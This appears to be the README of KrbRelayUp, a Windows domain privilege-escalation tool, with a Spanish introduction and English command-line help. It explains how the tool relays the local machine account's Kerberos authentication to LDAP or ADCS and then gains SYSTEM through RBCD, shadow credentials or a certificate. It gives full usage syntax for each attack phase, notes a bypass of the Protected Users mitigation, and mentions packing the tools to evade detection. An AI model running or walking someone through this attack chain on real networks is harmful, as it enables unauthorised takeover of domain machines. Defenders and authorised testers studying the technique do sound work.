
KrbRelayUp - una escalada de privilegios local universal sin corrección en entornos de dominio de Windows donde la firma LDAP no está aplicada (la configuración predeterminada).
Un wrapper sencillo alrededor de algunas de las funcionalidades de Rubeus y KrbRelay (y algunas otras menciones honoríficas en la sección de agradecimientos) con el fin de agilizar el abuso de la siguiente primitiva de ataque:
Esto es esencialmente una escalada de privilegios local universal sin parche en entornos de dominio Windows donde la firma LDAP no está aplicada (la configuración predeterminada).
ACTUALIZACIÓN: Aquí hay un excelente artículo de @an0n_r0 sobre cómo realizar este ataque manualmente (usando las herramientas originales para esta ruta de ataque: PowerMad/SharpMad, KrbRelay, Rubeus y SCMUACBypass)
He añadido algunas funcionalidades para soportar esta primitiva de ataque usando shadow credentials. Ten en cuenta que esto elimina la necesidad de añadir (o poseer) otra cuenta de máquina.
Nota: este método de ataque omite la mitigación de Usuarios protegidos (o 'La cuenta es sensible y no se puede delegar') debido al abuso de S4U2Self.
ACTUALIZACIÓN: Aquí hay un excelente artículo de @icyguider sobre cómo realizar el método ShadowCred de este ataque manualmente (usando las herramientas originales para esta ruta de ataque: KrbRelay, Rubeus y SCMUACBypass), junto con el uso de NimCrypt2 para empaquetar las distintas herramientas y evadir parte de la detección por parte de los mecanismos defensivos.
He añadido soporte para hacer relay de la autenticación KRB de la máquina a la Inscripción Web de ADCS (en lugar de LDAP). Esto elimina el requisito de que la firma LDAP no esté aplicada en el dominio, ya que este ataque no hace relay a LDAP.
Nota: este método de ataque omite la mitigación de Usuarios protegidos (o 'La cuenta es sensible y no se puede delegar') debido al abuso de S4U2Self.
KrbRelayUp - Relaying you to SYSTEM
FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.
RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]
-m (--Method) Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
-p (--Port) Port for Com Server (default=12345)
-cls (--Clsid) CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)
# RBCD Method:
-c (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (default=RANDOM [if -c is enabled])
# SHADOWCRED Method:
-f (--ForceShadowCred) Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)
# ADCS Method:
-ca (--CAEndpoint) CA endpoint FQDN (default = same as DC)
-https Connect to CA endpoint over secure HTTPS instead of HTTP)
-cet (--CertificateTemplate) Certificate template to request for (default=Machine)
SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>
-m (--Method) Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
-i (--Impersonate) User to impersonate. should be a local administrator in the target computer. (default=Administrator)
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
# RBCD Method:
-cn (--ComputerName) Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
-cp (--ComputerPassword) Password of computer account for RBCD. (either -cp or -ch must be specified)
-ch (--ComputerPasswordHash) Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)
# SHADOWCRED | ADCS Method:
-ce (--Certificate) Base64 encoded certificate or path to certificate file
-cep (--CertificatePassword) Certificate password (if applicable)
KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>
-s (--ServiceName) Name of the service to be created. (default=KrbSCM)
-sc (--ServiceCommand) Service command [binPath]. (default = spawn cmd.exe as SYSTEM)
General Options:
-d (--Domain) FQDN of domain. (Optional)
-dc (--DomainController) FQDN of domain controller. (Optional)
-ssl Use LDAP over SSL. (Optional)
-n Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
-v (--Verbose) Show verbose output. (Optional)
